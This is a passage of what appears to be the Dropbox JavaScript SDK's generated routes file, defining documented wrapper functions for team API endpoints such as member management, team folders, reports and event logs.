{Promise.<DropboxResponse<TeamExcludedUsersUpdateResult>, DropboxResponseError.<TeamExcludedUsersUpdateError>>} */ routes.teamMemberSpaceLimitsExcludedUsersAdd = function (arg) { return this.request('team/member_space_limits/excluded_users/add', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * List member space limits excluded users. * Route attributes: * scope: members.read * @function Dropbox#teamMemberSpaceLimitsExcludedUsersList * @arg {TeamExcludedUsersListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamExcludedUsersListResult>, DropboxResponseError.<TeamExcludedUsersListError>>} */ routes.teamMemberSpaceLimitsExcludedUsersList = function (arg) { return this.request('team/member_space_limits/excluded_users/list', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Continue listing member space limits excluded users. * Route attributes: * scope: members.read * @function Dropbox#teamMemberSpaceLimitsExcludedUsersListContinue * @arg {TeamExcludedUsersListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamExcludedUsersListResult>, DropboxResponseError.<TeamExcludedUsersListContinueError>>} */ routes.teamMemberSpaceLimitsExcludedUsersListContinue = function (arg) { return this.request('team/member_space_limits/excluded_users/list/continue', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Remove users from member space limits excluded users list. * Route attributes: * scope: members.write * @function Dropbox#teamMemberSpaceLimitsExcludedUsersRemove * @arg {TeamExcludedUsersUpdateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamExcludedUsersUpdateResult>, DropboxResponseError.<TeamExcludedUsersUpdateError>>} */ routes.teamMemberSpaceLimitsExcludedUsersRemove = function (arg) { return this.request('team/member_space_limits/excluded_users/remove', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Get users custom quota. Returns none as the custom quota if none was set. A * maximum of 1000 members can be specified in a single call. * Route attributes: * scope: members.read * @function Dropbox#teamMemberSpaceLimitsGetCustomQuota * @arg {TeamCustomQuotaUsersArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<TeamCustomQuotaResult>>, DropboxResponseError.<TeamCustomQuotaError>>} */ routes.teamMemberSpaceLimitsGetCustomQuota = function (arg) { return this.request('team/member_space_limits/get_custom_quota', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Remove users custom quota. A maximum of 1000 members can be specified in a * single call. * Route attributes: * scope: members.write * @function Dropbox#teamMemberSpaceLimitsRemoveCustomQuota * @arg {TeamCustomQuotaUsersArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<TeamRemoveCustomQuotaResult>>, DropboxResponseError.<TeamCustomQuotaError>>} */ routes.teamMemberSpaceLimitsRemoveCustomQuota = function (arg) { return this.request('team/member_space_limits/remove_custom_quota', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Set users custom quota. Custom quota has to be at least 15GB. A maximum of * 1000 members can be specified in a single call. * Route attributes: * scope: members.read * @function Dropbox#teamMemberSpaceLimitsSetCustomQuota * @arg {TeamSetCustomQuotaArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<TeamCustomQuotaResult>>, DropboxResponseError.<TeamSetCustomQuotaError>>} */ routes.teamMemberSpaceLimitsSetCustomQuota = function (arg) { return this.request('team/member_space_limits/set_custom_quota', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Adds members to a team. Permission : Team member management A maximum of 20 * members can be specified in a single call. If no Dropbox account exists with * the email address specified, a new Dropbox account will be created with the * given email address, and that account will be invited to the team. If a * personal Dropbox account exists with the email address specified in the call, * this call will create a placeholder Dropbox account for the user on the team * and send an email inviting the user to migrate their existing personal * account onto the team. Team member management apps are required to set an * initial given_name and surname for a user to use in the team invitation and * for 'Perform as team member' actions taken on the user before they become * 'active'. * Route attributes: * scope: members.write * @function Dropbox#teamMembersAddV2 * @arg {TeamMembersAddV2Arg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersAddLaunchV2Result>, DropboxResponseError.<void>>} */ routes.teamMembersAddV2 = function (arg) { return this.request('team/members/add_v2', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Adds members to a team. Permission : Team member management A maximum of 20 * members can be specified in a single call. If no Dropbox account exists with * the email address specified, a new Dropbox account will be created with the * given email address, and that account will be invited to the team. If a * personal Dropbox account exists with the email address specified in the call, * this call will create a placeholder Dropbox account for the user on the team * and send an email inviting the user to migrate their existing personal * account onto the team. Team member management apps are required to set an * initial given_name and surname for a user to use in the team invitation and * for 'Perform as team member' actions taken on the user before they become * 'active'. * Route attributes: * scope: members.write * @function Dropbox#teamMembersAdd * @arg {TeamMembersAddArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersAddLaunch>, DropboxResponseError.<void>>} */ routes.teamMembersAdd = function (arg) { return this.request('team/members/add', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Once an async_job_id is returned from members/add_v2 , use this to poll the * status of the asynchronous request. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersAddJobStatusGetV2 * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersAddJobStatusV2Result>, DropboxResponseError.<AsyncPollError>>} */ routes.teamMembersAddJobStatusGetV2 = function (arg) { return this.request('team/members/add/job_status/get_v2', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Once an async_job_id is returned from members/add , use this to poll the * status of the asynchronous request. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersAddJobStatusGet * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersAddJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.teamMembersAddJobStatusGet = function (arg) { return this.request('team/members/add/job_status/get', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Deletes a team member's profile photo. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersDeleteProfilePhotoV2 * @arg {TeamMembersDeleteProfilePhotoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamMemberInfoV2Result>, DropboxResponseError.<TeamMembersDeleteProfilePhotoError>>} */ routes.teamMembersDeleteProfilePhotoV2 = function (arg) { return this.request('team/members/delete_profile_photo_v2', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Deletes a team member's profile photo. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersDeleteProfilePhoto * @arg {TeamMembersDeleteProfilePhotoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamMemberInfo>, DropboxResponseError.<TeamMembersDeleteProfilePhotoError>>} */ routes.teamMembersDeleteProfilePhoto = function (arg) { return this.request('team/members/delete_profile_photo', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Get available TeamMemberRoles for the connected team. To be used with * members/set_admin_permissions_v2. Permission : Team member management. * Route attributes: * scope: members.read * @function Dropbox#teamMembersGetAvailableTeamMemberRoles * @returns {Promise.<DropboxResponse<TeamMembersGetAvailableTeamMemberRolesResult>, DropboxResponseError.<void>>} */ routes.teamMembersGetAvailableTeamMemberRoles = function () { return this.request('team/members/get_available_team_member_roles', null, 'team', 'api', 'rpc', 'members.read'); }; /** * Returns information about multiple team members. Permission : Team * information This endpoint will return MembersGetInfoItem.id_not_found, for * IDs (or emails) that cannot be matched to a valid team member. * Route attributes: * scope: members.read * @function Dropbox#teamMembersGetInfoV2 * @arg {TeamMembersGetInfoV2Arg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersGetInfoV2Result>, DropboxResponseError.<TeamMembersGetInfoError>>} */ routes.teamMembersGetInfoV2 = function (arg) { return this.request('team/members/get_info_v2', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Returns information about multiple team members. Permission : Team * information This endpoint will return MembersGetInfoItem.id_not_found, for * IDs (or emails) that cannot be matched to a valid team member. * Route attributes: * scope: members.read * @function Dropbox#teamMembersGetInfo * @arg {TeamMembersGetInfoArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<Object>, DropboxResponseError.<TeamMembersGetInfoError>>} */ routes.teamMembersGetInfo = function (arg) { return this.request('team/members/get_info', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Lists members of a team. Permission : Team information. * Route attributes: * scope: members.read * @function Dropbox#teamMembersListV2 * @arg {TeamMembersListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersListV2Result>, DropboxResponseError.<TeamMembersListError>>} */ routes.teamMembersListV2 = function (arg) { return this.request('team/members/list_v2', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Lists members of a team. Permission : Team information. * Route attributes: * scope: members.read * @function Dropbox#teamMembersList * @arg {TeamMembersListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersListResult>, DropboxResponseError.<TeamMembersListError>>} */ routes.teamMembersList = function (arg) { return this.request('team/members/list', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Once a cursor has been retrieved from members/list_v2, use this to paginate * through all team members. Permission : Team information. * Route attributes: * scope: members.read * @function Dropbox#teamMembersListContinueV2 * @arg {TeamMembersListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersListV2Result>, DropboxResponseError.<TeamMembersListContinueError>>} */ routes.teamMembersListContinueV2 = function (arg) { return this.request('team/members/list/continue_v2', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Once a cursor has been retrieved from members/list, use this to paginate * through all team members. Permission : Team information. * Route attributes: * scope: members.read * @function Dropbox#teamMembersListContinue * @arg {TeamMembersListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersListResult>, DropboxResponseError.<TeamMembersListContinueError>>} */ routes.teamMembersListContinue = function (arg) { return this.request('team/members/list/continue', arg, 'team', 'api', 'rpc', 'members.read'); }; /** * Moves removed member's files to a different member. This endpoint initiates * an asynchronous job. To obtain the final result of the job, the client should * periodically poll members/move_former_member_files/job_status/check. * Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersMoveFormerMemberFiles * @arg {TeamMembersDataTransferArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncLaunchEmptyResult>, DropboxResponseError.<TeamMembersTransferFormerMembersFilesError>>} */ routes.teamMembersMoveFormerMemberFiles = function (arg) { return this.request('team/members/move_former_member_files', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Once an async_job_id is returned from members/move_former_member_files , use * this to poll the status of the asynchronous request. Permission : Team member * management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersMoveFormerMemberFilesJobStatusCheck * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncPollEmptyResult>, DropboxResponseError.<AsyncPollError>>} */ routes.teamMembersMoveFormerMemberFilesJobStatusCheck = function (arg) { return this.request('team/members/move_former_member_files/job_status/check', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Recover a deleted member. Permission : Team member management Exactly one of * team_member_id, email, or external_id must be provided to identify the user * account. * Route attributes: * scope: members.delete * @function Dropbox#teamMembersRecover * @arg {TeamMembersRecoverArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamMembersRecoverError>>} */ routes.teamMembersRecover = function (arg) { return this.request('team/members/recover', arg, 'team', 'api', 'rpc', 'members.delete'); }; /** * Removes a member from a team. Permission : Team member management Exactly one * of team_member_id, email, or external_id must be provided to identify the * user account. Accounts can be recovered via members/recover for a 7 day * period or until the account has been permanently deleted or transferred to * another account (whichever comes first). Calling members/add while a user is * still recoverable on your team will return with * MemberAddResult.user_already_on_team. Accounts can have their files * transferred via the admin console for a limited time, based on the version * history length associated with the team (180 days for most teams). This * endpoint may initiate an asynchronous job. To obtain the final result of the * job, the client should periodically poll members/remove/job_status/get. * Route attributes: * scope: members.delete * @function Dropbox#teamMembersRemove * @arg {TeamMembersRemoveArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncLaunchEmptyResult>, DropboxResponseError.<TeamMembersRemoveError>>} */ routes.teamMembersRemove = function (arg) { return this.request('team/members/remove', arg, 'team', 'api', 'rpc', 'members.delete'); }; /** * Once an async_job_id is returned from members/remove , use this to poll the * status of the asynchronous request. Permission : Team member management. * Route attributes: * scope: members.delete * @function Dropbox#teamMembersRemoveJobStatusGet * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<AsyncPollEmptyResult>, DropboxResponseError.<AsyncPollError>>} */ routes.teamMembersRemoveJobStatusGet = function (arg) { return this.request('team/members/remove/job_status/get', arg, 'team', 'api', 'rpc', 'members.delete'); }; /** * Add secondary emails to users. Permission : Team member management. Emails * that are on verified domains will be verified automatically. For each email * address not on a verified domain a verification email will be sent. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSecondaryEmailsAdd * @arg {TeamAddSecondaryEmailsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamAddSecondaryEmailsResult>, DropboxResponseError.<TeamAddSecondaryEmailsError>>} */ routes.teamMembersSecondaryEmailsAdd = function (arg) { return this.request('team/members/secondary_emails/add', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Delete secondary emails from users Permission : Team member management. Users * will be notified of deletions of verified secondary emails at both the * secondary email and their primary email. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSecondaryEmailsDelete * @arg {TeamDeleteSecondaryEmailsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamDeleteSecondaryEmailsResult>, DropboxResponseError.<void>>} */ routes.teamMembersSecondaryEmailsDelete = function (arg) { return this.request('team/members/secondary_emails/delete', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Resend secondary email verification emails. Permission : Team member * management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSecondaryEmailsResendVerificationEmails * @arg {TeamResendVerificationEmailArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamResendVerificationEmailResult>, DropboxResponseError.<void>>} */ routes.teamMembersSecondaryEmailsResendVerificationEmails = function (arg) { return this.request('team/members/secondary_emails/resend_verification_emails', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Sends welcome email to pending team member. Permission : Team member * management Exactly one of team_member_id, email, or external_id must be * provided to identify the user account. No-op if team member is not pending. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSendWelcomeEmail * @arg {TeamUserSelectorArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamMembersSendWelcomeError>>} */ routes.teamMembersSendWelcomeEmail = function (arg) { return this.request('team/members/send_welcome_email', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Updates a team member's permissions. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSetAdminPermissionsV2 * @arg {TeamMembersSetPermissions2Arg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersSetPermissions2Result>, DropboxResponseError.<TeamMembersSetPermissions2Error>>} */ routes.teamMembersSetAdminPermissionsV2 = function (arg) { return this.request('team/members/set_admin_permissions_v2', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Updates a team member's permissions. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSetAdminPermissions * @arg {TeamMembersSetPermissionsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamMembersSetPermissionsResult>, DropboxResponseError.<TeamMembersSetPermissionsError>>} */ routes.teamMembersSetAdminPermissions = function (arg) { return this.request('team/members/set_admin_permissions', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Updates a team member's profile. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSetProfileV2 * @arg {TeamMembersSetProfileArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamMemberInfoV2Result>, DropboxResponseError.<TeamMembersSetProfileError>>} */ routes.teamMembersSetProfileV2 = function (arg) { return this.request('team/members/set_profile_v2', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Updates a team member's profile. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSetProfile * @arg {TeamMembersSetProfileArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamMemberInfo>, DropboxResponseError.<TeamMembersSetProfileError>>} */ routes.teamMembersSetProfile = function (arg) { return this.request('team/members/set_profile', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Updates a team member's profile photo. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSetProfilePhotoV2 * @arg {TeamMembersSetProfilePhotoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamMemberInfoV2Result>, DropboxResponseError.<TeamMembersSetProfilePhotoError>>} */ routes.teamMembersSetProfilePhotoV2 = function (arg) { return this.request('team/members/set_profile_photo_v2', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Updates a team member's profile photo. Permission : Team member management. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSetProfilePhoto * @arg {TeamMembersSetProfilePhotoArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamMemberInfo>, DropboxResponseError.<TeamMembersSetProfilePhotoError>>} */ routes.teamMembersSetProfilePhoto = function (arg) { return this.request('team/members/set_profile_photo', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Suspend a member from a team. Permission : Team member management Exactly one * of team_member_id, email, or external_id must be provided to identify the * user account. * Route attributes: * scope: members.write * @function Dropbox#teamMembersSuspend * @arg {TeamMembersDeactivateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamMembersSuspendError>>} */ routes.teamMembersSuspend = function (arg) { return this.request('team/members/suspend', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Unsuspend a member from a team. Permission : Team member management Exactly * one of team_member_id, email, or external_id must be provided to identify the * user account. * Route attributes: * scope: members.write * @function Dropbox#teamMembersUnsuspend * @arg {TeamMembersUnsuspendArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamMembersUnsuspendError>>} */ routes.teamMembersUnsuspend = function (arg) { return this.request('team/members/unsuspend', arg, 'team', 'api', 'rpc', 'members.write'); }; /** * Returns a list of all team-accessible namespaces. This list includes team * folders, shared folders containing team members, team members' home * namespaces, and team members' app folders. Home namespaces and app folders * are always owned by this team or members of the team, but shared folders may * be owned by other users or other teams. Duplicates may occur in the list. * Route attributes: * scope: team_data.member * @function Dropbox#teamNamespacesList * @arg {TeamTeamNamespacesListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamNamespacesListResult>, DropboxResponseError.<TeamTeamNamespacesListError>>} */ routes.teamNamespacesList = function (arg) { return this.request('team/namespaces/list', arg, 'team', 'api', 'rpc', 'team_data.member'); }; /** * Once a cursor has been retrieved from namespaces/list, use this to paginate * through all team-accessible namespaces. Duplicates may occur in the list. * Route attributes: * scope: team_data.member * @function Dropbox#teamNamespacesListContinue * @arg {TeamTeamNamespacesListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamNamespacesListResult>, DropboxResponseError.<TeamTeamNamespacesListContinueError>>} */ routes.teamNamespacesListContinue = function (arg) { return this.request('team/namespaces/list/continue', arg, 'team', 'api', 'rpc', 'team_data.member'); }; /** * Permission : Team member file access. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#teamPropertiesTemplateAdd * @deprecated * @arg {FilePropertiesAddTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesAddTemplateResult>, DropboxResponseError.<FilePropertiesModifyTemplateError>>} */ routes.teamPropertiesTemplateAdd = function (arg) { return this.request('team/properties/template/add', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Permission : Team member file access. The scope for the route is * files.team_metadata.write. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#teamPropertiesTemplateGet * @deprecated * @arg {FilePropertiesGetTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesGetTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.teamPropertiesTemplateGet = function (arg) { return this.request('team/properties/template/get', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Permission : Team member file access. The scope for the route is * files.team_metadata.write. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#teamPropertiesTemplateList * @deprecated * @returns {Promise.<DropboxResponse<FilePropertiesListTemplateResult>, DropboxResponseError.<FilePropertiesTemplateError>>} */ routes.teamPropertiesTemplateList = function () { return this.request('team/properties/template/list', null, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Permission : Team member file access. * Route attributes: * scope: files.team_metadata.write * @function Dropbox#teamPropertiesTemplateUpdate * @deprecated * @arg {FilePropertiesUpdateTemplateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilePropertiesUpdateTemplateResult>, DropboxResponseError.<FilePropertiesModifyTemplateError>>} */ routes.teamPropertiesTemplateUpdate = function (arg) { return this.request('team/properties/template/update', arg, 'team', 'api', 'rpc', 'files.team_metadata.write'); }; /** * Retrieves reporting data about a team's user activity. Deprecated: Will be * removed on July 1st 2021. * Route attributes: * scope: team_info.read * @function Dropbox#teamReportsGetActivity * @deprecated * @arg {TeamDateRange} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGetActivityReport>, DropboxResponseError.<TeamDateRangeError>>} */ routes.teamReportsGetActivity = function (arg) { return this.request('team/reports/get_activity', arg, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Retrieves reporting data about a team's linked devices. Deprecated: Will be * removed on July 1st 2021. * Route attributes: * scope: team_info.read * @function Dropbox#teamReportsGetDevices * @deprecated * @arg {TeamDateRange} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGetDevicesReport>, DropboxResponseError.<TeamDateRangeError>>} */ routes.teamReportsGetDevices = function (arg) { return this.request('team/reports/get_devices', arg, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Retrieves reporting data about a team's membership. Deprecated: Will be * removed on July 1st 2021. * Route attributes: * scope: team_info.read * @function Dropbox#teamReportsGetMembership * @deprecated * @arg {TeamDateRange} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGetMembershipReport>, DropboxResponseError.<TeamDateRangeError>>} */ routes.teamReportsGetMembership = function (arg) { return this.request('team/reports/get_membership', arg, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Retrieves reporting data about a team's storage usage. Deprecated: Will be * removed on July 1st 2021. * Route attributes: * scope: team_info.read * @function Dropbox#teamReportsGetStorage * @deprecated * @arg {TeamDateRange} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamGetStorageReport>, DropboxResponseError.<TeamDateRangeError>>} */ routes.teamReportsGetStorage = function (arg) { return this.request('team/reports/get_storage', arg, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Sets an archived team folder's status to active. Permission : Team member * file access. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderActivate * @arg {TeamTeamFolderIdArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderMetadata>, DropboxResponseError.<TeamTeamFolderActivateError>>} */ routes.teamTeamFolderActivate = function (arg) { return this.request('team/team_folder/activate', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Sets an active team folder's status to archived and removes all folder and * file members. This endpoint cannot be used for teams that have a shared team * space. Permission : Team member file access. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderArchive * @arg {TeamTeamFolderArchiveArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderArchiveLaunch>, DropboxResponseError.<TeamTeamFolderArchiveError>>} */ routes.teamTeamFolderArchive = function (arg) { return this.request('team/team_folder/archive', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Returns the status of an asynchronous job for archiving a team folder. * Permission : Team member file access. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderArchiveCheck * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderArchiveJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.teamTeamFolderArchiveCheck = function (arg) { return this.request('team/team_folder/archive/check', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Creates a new, active, team folder with no members. This endpoint can only be * used for teams that do not already have a shared team space. Permission : * Team member file access. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderCreate * @arg {TeamTeamFolderCreateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderMetadata>, DropboxResponseError.<TeamTeamFolderCreateError>>} */ routes.teamTeamFolderCreate = function (arg) { return this.request('team/team_folder/create', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Retrieves metadata for team folders. Permission : Team member file access. * Route attributes: * scope: team_data.content.read * @function Dropbox#teamTeamFolderGetInfo * @arg {TeamTeamFolderIdListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<TeamTeamFolderGetInfoItem>>, DropboxResponseError.<void>>} */ routes.teamTeamFolderGetInfo = function (arg) { return this.request('team/team_folder/get_info', arg, 'team', 'api', 'rpc', 'team_data.content.read'); }; /** * Lists all team folders. Permission : Team member file access. * Route attributes: * scope: team_data.content.read * @function Dropbox#teamTeamFolderList * @arg {TeamTeamFolderListArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderListResult>, DropboxResponseError.<TeamTeamFolderListError>>} */ routes.teamTeamFolderList = function (arg) { return this.request('team/team_folder/list', arg, 'team', 'api', 'rpc', 'team_data.content.read'); }; /** * Once a cursor has been retrieved from team_folder/list, use this to paginate * through all team folders. Permission : Team member file access. * Route attributes: * scope: team_data.content.read * @function Dropbox#teamTeamFolderListContinue * @arg {TeamTeamFolderListContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderListResult>, DropboxResponseError.<TeamTeamFolderListContinueError>>} */ routes.teamTeamFolderListContinue = function (arg) { return this.request('team/team_folder/list/continue', arg, 'team', 'api', 'rpc', 'team_data.content.read'); }; /** * Permanently deletes an archived team folder. This endpoint cannot be used for * teams that have a shared team space. Permission : Team member file access. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderPermanentlyDelete * @arg {TeamTeamFolderIdArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<TeamTeamFolderPermanentlyDeleteError>>} */ routes.teamTeamFolderPermanentlyDelete = function (arg) { return this.request('team/team_folder/permanently_delete', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Changes an active team folder's name. Permission : Team member file access. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderRename * @arg {TeamTeamFolderRenameArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderMetadata>, DropboxResponseError.<TeamTeamFolderRenameError>>} */ routes.teamTeamFolderRename = function (arg) { return this.request('team/team_folder/rename', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Updates the sync settings on a team folder or its contents. Use of this * endpoint requires that the team has team selective sync enabled. * Route attributes: * scope: team_data.content.write * @function Dropbox#teamTeamFolderUpdateSyncSettings * @arg {TeamTeamFolderUpdateSyncSettingsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamTeamFolderMetadata>, DropboxResponseError.<TeamTeamFolderUpdateSyncSettingsError>>} */ routes.teamTeamFolderUpdateSyncSettings = function (arg) { return this.request('team/team_folder/update_sync_settings', arg, 'team', 'api', 'rpc', 'team_data.content.write'); }; /** * Returns the member profile of the admin who generated the team access token * used to make the call. * Route attributes: * scope: team_info.read * @function Dropbox#teamTokenGetAuthenticatedAdmin * @returns {Promise.<DropboxResponse<TeamTokenGetAuthenticatedAdminResult>, DropboxResponseError.<TeamTokenGetAuthenticatedAdminError>>} */ routes.teamTokenGetAuthenticatedAdmin = function () { return this.request('team/token/get_authenticated_admin', null, 'team', 'api', 'rpc', 'team_info.read'); }; /** * Retrieves team events. If the result's GetTeamEventsResult.has_more field is * true, call get_events/continue with the returned cursor to retrieve more * entries. If end_time is not specified in your request, you may use the * returned cursor to poll get_events/continue for new events. Many attributes * note 'may be missing due to historical data gap'. Note that the * file_operations category and & analogous paper events are not available on * all Dropbox Business plans /business/plans-comparison. Use * features/get_values * /developers/documentation/http/teams#team-features-get_values to check for * this feature. Permission : Team Auditing. * Route attributes: * scope: events.read * @function Dropbox#teamLogGetEvents * @arg {TeamLogGetTeamEventsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamLogGetTeamEventsResult>, DropboxResponseError.<TeamLogGetTeamEventsError>>} */ routes.teamLogGetEvents = function (arg) { return this.request('team_log/get_events', arg, 'team', 'api', 'rpc', 'events.read'); }; /** * Once a cursor has been retrieved from get_events, use this to paginate * through all events. Permission : Team Auditing. * Route attributes: * scope: events.read * @function Dropbox#teamLogGetEventsContinue * @arg {TeamLogGetTeamEventsContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<TeamLogGetTeamEventsResult>, DropboxResponseError.<TeamLogGetTeamEventsContinueError>>} */ routes.teamLogGetEventsContinue = function (arg) { return this.request('team_log/get_events/continue', arg, 'team', 'api', 'rpc', 'events.read'); }; /** * Get a list of feature values that may be configured for the current account. * Route attributes: * scope: account_info.read * @function Dropbox#usersFeaturesGetValues * @arg {UsersUserFeaturesGetValuesBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<UsersUserFeaturesGetValuesBatchResult>, DropboxResponseError.<UsersUserFeaturesGetValuesBatchError>>} */ routes.usersFeaturesGetValues = function (arg) { return this.request('users/features/get_values', arg, 'user', 'api', 'rpc', 'account_info.read'); }; /** * Get information about a user's account. * Route attributes: * scope: sharing.read * @function Dropbox#usersGetAccount * @arg {UsersGetAccountArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<UsersBasicAccount>, DropboxResponseError.<UsersGetAccountError>>} */ routes.usersGetAccount = function (arg) { return 